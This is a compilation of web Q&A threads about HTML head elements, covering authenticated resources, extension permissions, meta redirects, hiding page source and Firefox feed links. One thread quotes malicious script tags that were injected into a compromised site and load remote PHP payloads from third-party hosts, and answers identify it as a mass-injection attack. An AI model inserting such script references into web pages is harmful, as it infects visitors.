I have a situation where, in an HTML page, I have these two resources in the <head> tag:
<link rel="stylesheet" href="https://some-server.local/styles.css">
<script src="https://some-server.local/script.js"></script>
For reasons that are unfortunately beyond my control, the linked resources in question require Windows Authentication to be accessed. In other words: the browser will prompt me with a popup asking for user/pass if I try to go to those addresses directly, as in the following screen:
However, if I just put the tags in the head like shown above, the browser will NOT show the authentication popup, it will simply fail.
Is there a way I can link those resources and force the browser to show the authentication popup?
After some more tests, I concluded that browsers actually do ask for credentials if you link resources that are behind Windows Authentication. I don't know why it didn't work before, maybe there was something wrong with my html. So basically, what I wanted to do is already implemented.
Related
Chrome extensions have a "Details" page (for example, here's Adblock's). On this page you can change the permissions of the extension to be one of: On click, On specific sites, or On all sites. These options determine whether the extension runs all the time on every site or only when you want them to.
This extension, however, does not change behavior when I modify the permissions from its Details page. Why is this the case? Here's their source code on Github.
I noticed that they use a persistent background page. Would that cause the issue?
Thanks in advance.
The correct answer as stated in the comments:
[the extension] doesn't actually run on sites other than Reddit. It just takes an URL of a tab and runs it through Reddit.
This means that changing the permissions in the Details page doesn't affect anything.
One friend is uploading flash files to my server with all the html package that the Flash CS6 editor suggests in its export command.
Well, despite all the Flash discussion and so, the problem is that eventually a very weird script references appear into the head element:
<!--339810--><script type="text/javascript">var gwloaded = false;</script>
<script src="http://techmounting.com.au/KsEsFOFC.php" type="text/javascript"></script><!--/339810-->
This script reference is not in the original html file.. this smells a virus, but I don't find any reference in the whole google.. I don't know if is a virus in my friend's computer or in my server or what.
Any idea?
Another examples (not in my server)
http://www.iu-jaen.es (no visit with browser)
http://www.alliedcarehomehealth.com (no visit with browser)
<script type="text/javascript">var gwloaded = false;</script>
<script src="http://shinhanvn.com.vn/Uploads/iOVAO5QT.php" type="text/javascript"></script>
Your web server has been compromised. TL;DR your website will display a content blocking interstitial to visiting users, which will direct them towards a suspicious binary download. The cause of the security breach is unclear, but I would take the normal precautions: reset relevant passwords, look for suspicious code snippets on PHP/javascript files.
Google also has a nice overview for some steps you can take to clean up your site (update third party plugins, change PWs, etc.):
https://support.google.com/webmasters/answer/163634
See this security posting from WebSense for a summary of the behavior of this attack:
http://community.websense.com/blogs/securitylabs/archive/tags/Mass+Injection/default.aspx
The company I work for has replaced our previously very flexible website with a much more restrictive "website in a box" technology. I have my web pages hosted on Google Sites and would like to redirect people to those pages. When I attempt to do this via javascript it gets stripped from the page when its saved. I do not have access to the section to attempt the depreciated method of redirecting.
Is there another method available to automatically redirect a customer other than just posting a link in a restricted environment like this?
If you're limited to using HTML to do the redirect, you can use a meta redirect:
<meta http-equiv="refresh" content="0; url=http://example.com/">
Though note that its use is deprecated because it may be disorienting to the user. In addition to the <meta> tag, you can add <link rel="canonical" href="http://example.com/"> to let search engines know that the targeted page is the canonical one.
Edit: if Google Sites won't allow you to change the <head> HTML, the Javascript, or the PHP, then it's time to go searching for solutions within Google Sites itself. One solution that pops up pretty frequently in searches seems to be using a URL Redirect Gadget.
On the page you want to redirect from, click the Edit Page button, then Insert Menu, then More Gadgets. Once there, search for "redirect gadgets" and some widgets that should help will show up.
These instructions are based on advice given in the Google Products forums. I don't have a Google Site myself, so I can't verify that they work.
Is it possible I create a webpage that doesn't allow the website source to be displayed?
No.
From encrypt-html.com:
Almost all browsers provide a
convenient way to view the source code
of the currently opened page. We
regularly receive e-mails with the
same question - how to disable view
source command.
An html file can not enable or disable
the built in browser functionality in
most cases. It's not possible remove
the view-source command from the
browser menus or to make it
non-working. But if the source is
encrypted, what the user will see is
just a lot of garbage characters - not
your original code. So the view source
command is practically disabled for
each encrypted file.
No, you cannot hide the plain text HTML output of your web server.
How the HTML is generated is separate form the actual HTML that gets sent from the server.
This is the way the internet and world wide web were designed. If you are using a server-side scripted web application to generate your HTML, then your business intelligence / process / code is hidden, provided that people do not have access to browse the actual script file on your server.
If you would like to customize one of the open source browsers, like Firefox or Chrome, you could disable the "view source" functionality. It might be a worthwhile option for certain intranet or internal business applications. XUL and Firefox is one of the possibilities our company looked at to control what the end user could access. The only real security you have to keep your source secure is on the server side, as network / protocol monitors could still pull the HTML as it moves over the network.
You might use plugin based content, like a java applet, Flash, etc., to somewhat "hide" the real content. Of course, as eventually it will be displayed on screen, there is nothing to prevent a determined user to reverse engineer your page.
Here is an example of a site with "view source code" disabled in any browser: http://www.transelectrica.ro/StareSistem/protocoale/starea_sistemului.php The question is: HOW THEY DID IT?
i have use block methode disable right click but still can view source on chrome using metode tipe to address bar view-source:example.com
disable right click
<script type='text/javascript'>
function disableSelection(target){
if (typeof target.onselectstart!="undefined") //IE route
target.onselectstart=function(){return false}
else if (typeof target.style.MozUserSelect!="undefined") //Firefox route
target.style.MozUserSelect="none"
else //All other route (ie: Opera)
target.onmousedown=function(){return false}
target.style.cursor = "default"
}
</script>
<body oncontextmenu='return false;'>
<script type='text/javascript'>
disableSelection(document.body);
I have a weird problem. I generate a HTML page, hosted let's say at http://www.x.com/stuff which contains
<head>
<link type="application/atom+xml" rel="alternate" href="/stuff/feed"/>
..
</head>
The result is:
In IE7 all works well - you can click on the feed icon in the browser and the feed is displayed
In Firefox, view source, click on the linked /stuff/feed and you see the source of the feed, so that works as expected
In Firefox, view the page (not source), then click on the feed icon in the address bar, I get an error that it can't retrieve the URL feed://http//www.x.com/stuff/feed
So the problem is, that it's appending feed:// to the front of the URL and then taking out the colon : after the http. I understand that feed: is HTTP anyway so perhaps the adding of that isn't a big problem.
But anyway, the fact is, that URL Firefox generates out of my <link> tag doesn't work.
I have considered making the URL absolute, but I haven't found any evidence that those URLs have to be absolute, nor can I understand why that would be the case. And for various reasons it would be inconvenient in my code to generate an absolute URL. I can do it if necessary but I would prefer to see proof (e.g. specification, or Mozilla bug report) that it's necessary before making my code messy
What do you think? Does anyone know of any evidence that the URL should be absolute? Or am I doing something else wrong? It seems such a simple/obvious tag, where nothing could go wrong, but I can't get it to work.
I had the same problem. IT was caused by the proxy server at work that my web traffic was going through. Firefox changed "http://server.tld/feed-url" to "feed://http//server.tld/feed-url". Since the web proxy that all my http traffic is going through does not recognize the "feed://" protocol, it rejects my request as invalid.
The only workaround I have found so far is to manually configure the proxy settings in Firefox. Right now you probably have them automatically configured by your system. If you know your proxy information, you can instead manually configure it. Doing so only for http/https/ftp allowed me to access the feed because Firefox then handled the feed:// URL directly (which ended up with it redirecting to http:// like I wanted).
To configure your proxy settings directly, you'll need to go to Edit -> Preferences -> Advanced -> Settings (next to "Connection"). Use manual settings. You'll have to determine the proxy settings that your system is already using.
Note that the missing colon (mentioned by Piet) is not a bug on your site. It's a conversion that the Firefox subscribe is doing. Also note that it is not a problem caused by a relative URL as Julien suggests. Firefox is converting it to an absolute URL, but then removing the colon in the http:// protocol prefix so that it can be appended to "feed://" (changing the protocol and supplying the original absolute URL as the "URL" for the new "feed" protocol).
Can you provide a link to your site or the specific HTML-page to see this live? Because the ATOM-feed of this question on SO is announced exactly the way you try to link your ATOM-feed:
<link rel="alternate" type="application/atom+xml" title="Feed for question 'Link to RSS/Atom feed, relative, doesn't work in Firefox'" href="/feeds/question/4438794">
This works fine with my Firefox/3.6.13.
The fact that the non-working base URL contains a typo is suspicious: that would happen if something is overriding it by accident.
Does your page contain a bad base element? The base element (and RFC 1808) is not supported exactly the same across all browsers, so if you have something like this in your document (note the missing :):
<base href="http//www.x.com/">
then it might be used inconsistently by browsers to resolve relative references, depending on element placement, rendering mode, error fallback behavior, or other factors.
If the document contains no base element, check that you aren't accidentally introducing an incorrect base URL through some other means, such as the Content-Location HTTP header.
This is a bug in Firefox or FoxyProxy or something.
Not only do I see exactly the same problem for stackoverflow (go to a question in Firefox, click on the feed icon, see the same weird feed://http//... URL) but also on http://news.google.com/
I have written to a friend at a completely unrelated company, he sees the same error from his FireFox on those standard internet pages.
It doesn't help to use absolute URLs in the <link> tag; news.google.com uses absolute URLs, for example.
It turns out, if you go to the proxy settings in Firefox, if you select "Use System Proxy Settings" this happens; if you enter proxy details manually or use no proxy, this problem doesn't occur.
This seems to be this bug here http://foxyproxy.mozdev.org/drupal/content/problem-with-feed-and-proxy
Put an absolute URL, it's a good practice for elements and won't break browsers...